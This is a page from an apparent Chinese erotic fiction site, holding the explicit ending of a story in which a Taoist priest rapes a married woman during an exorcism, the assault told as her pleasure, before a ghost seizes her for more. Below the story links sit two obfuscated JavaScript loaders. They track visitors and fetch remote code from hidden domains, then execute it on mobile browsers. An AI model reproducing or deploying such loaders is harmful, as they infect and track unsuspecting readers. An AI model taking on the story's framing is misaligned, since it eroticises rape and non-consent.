老道见她不反抗,立即宽下心来,他再次运动起肥腰作猛烈的抽送,一下比一下重、一下比一下深入地打进尹玲阴道内。

尹玲只觉得身心都在老道士阳具的冲撞下崩溃了,一波接一波的抽弄捣挖动作,加上从未有过的乱交和被迫奸的奇异情欲感觉,使她不得不承认老道士这条阳具给了自己无比快活,她竟然屈服在强行侵犯自己的男人阳具之下,积压的欲火和惊慌还有不自主的渴望,使她脑子空白一片。

她的上身随发软了的双手不能支撑下趴伏了下来,只仍然耸后了屁股任老道士在后边跃马驰骋,身体渴望已久的高潮越来越近。而狂态毕露的老道士也临近射精的阶段,活像一只久未交配的老年公狗,几乎是整个人擒上了尹玲背上。

这种狗交式的体位最适合他那根粗短的生殖器,除两颗阴囊外,连根部也插进去了,从他张大的胯间看到吊下来的大卵蛋正随阳具的推进而激烈地跳晃着,阳具飞快地抽出插入,使紧窄的阴道挤出淫水时“吱……吱……”作响。

老道士抱紧了身下这具任自己操的肉体,久未有过的性交快感还有那种像处女一样的紧凑,使他要喝起采来:“呀……啊……好舒服啊……骚太太,你的小穴操得老子真够味道,哼哼……怪不得你家翁做了鬼也不放过你啊!哈哈……”

老道士的阳具已涨到了极限,快感也带来男人抽插的最后结果了,刚才是抽出一半再一下插到底的大动作调戏,现在是使劲蹬着双腿做又密又急的顶送,反复的挤压使溅出的淫水沾湿了他的小腹,一身肥肉也汗如水滴。急切的发泄欲令他不要命地狠干,阳具的抽动好像一台失控的打木桩的机械,似乎想把尹玲的子宫顶穿。

尹玲在迷乱的欲海中感觉到男人加强了力量,她也明白这是男人完成性交的最后过程,但脑海已被人家插得一团糟了,女人敏感地带一旦受制,便有心也是无力了!主动权在男人阳具上,不由她想到后面的事情,原始的交媾已不是道德伦理所能阻止得了。

这种生殖的天性是如此平等,不论老少,只要有那两具雌雄器物就能配合一起。另一方面也是女性的不幸,就像尹玲对丈夫忠贞,但还是在男人奸淫下而屈服于原始性。

在老道士兽性大发的肉体磨蹭下尹玲已高潮涌现,小腹内一阵麻痒抽搐,大量温热淫水由兴奋的体内流淌出来,“啊……啊……”

她不能受落地叫喊出来。

老道士这时也掐紧了尹玲的两边屁股,他也在要紧关头上,看来他这把年纪也不容他坚持多久,麻快的极限使阳具阵阵发酸,只见他全身一下打颤,接着腰部一震,他低声吼着:“啊呀……骚太太,我……我给你操个娃娃来,啊……”

下盘一发酸,阳具根部一股力量往上激涌,就要从前端爆发出来了。

他死力将耻部抵住尹玲屁股间,阳具直推到子宫口处,他全身一抖一松,龟头上的劲力一收一放,立即就像开香槟汽酒一样,马眼一张,精液一股脑地迸射而出。

“啊……不要这样呀……不要……”

尹玲在迷乱中也注意到自己体内蹦跳的阳具的活动,一下心跳想到这要命的后果时,但也只能是叹一句为时已晚了。一股股的浆液逼到了体内空虚的地方,很快涨满了子宫,浓液从下体灼热了全身。

老道士一炮发过,顿觉精神爽快、轻松舒畅,那种绝对的征服和直接泄出的快活真是不可名状。但他仍向前抵送着阳具,每抵进一下阳具就挤出一股浓浆,他要把剩下的存货都挤给女人里边去,像真个要搞得她成孕不可。

“啊……呀呃……”

老道士发出雄性最大满足的唿声,射精的余韵使他仍舍不得将淫具抽出,依旧占据着给征服的女人阴道。尹玲就在他注入的大量浓热液体激发高潮的酥软晕眩作用下虚脱在床上,闭上了眼睛不住地唿喘。

那老道把快感挤尽之后,驱体内之邪的法事终于告一段落!尹玲无力地收拾了一腔的慌乱羞涩,然后只好略作从容地步出房间。

而老道爽了这回,当然浑身舒畅,一副严正的表情仍然毫不知耻挂上了!对这老光棍来说,要再编些话来哄房外的尹母实在一点都不费心。

夜幕临近时,老道再吹唱一轮经文,摇响了的法铃一下收住,几张黄条从他手上“攀”上了房子的四个角落,法事便是功德完满!

那老道说:“太太,这场功德算完了,但你的命数有定,也应处处小心。日后若再有不妥,你只要给我电话,我一定马上来助你一臂之力。哈哈……”说完就干笑两声。

尹玲强作平常的谢过了老道,叫母亲回家顺道送道长下楼。关上了大门,终于完结了!尹玲想起刚才的法事和老道的奸淫,感到思绪不宁,看着墙上的黄条发呆好一会,正想进房休息身心的疲累。

忽然,一把沙哑的声音从地下传来:“嘿嘿……我的好媳妇……嘿嘿……我好想你呀!”

尹玲顿时脑袋一阵又麻又涨,心惊肉跳,她歇斯底里地叫道:“不……我不要!”

她背转身正想打开大门之际,一股无形力量已将她从后拖走,她四肢无法动弹,只知道自己一下子身体已经凌空。她被往后带飞起来,一直飞往房间,房门“吱”的一声敞开了,里边漆黑的一节迎接了她。

又一下无形的外力拉扯,一身衣衫尽被撕脱剥落……尹玲闭起眼,咬着了下唇不再作声。她全身赤裸地张开着四肢,雪白的玉体一下被房内卷出的黑气缚住了,迅速被扯入了房间。

“砰!”

一声响,房门沉重地关上了,沉静的房子又再荡起那沙哑的笑声:“嘿嘿……”

一阵奸邪的笑声回旋在这房子间,几下阴冷的风在房子中拂旋起来,一下就刮掉了墙角上的四道刚贴上的黄条……

“全文完”


上一篇:雨过桃花

下一篇:我的高中生活(23)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};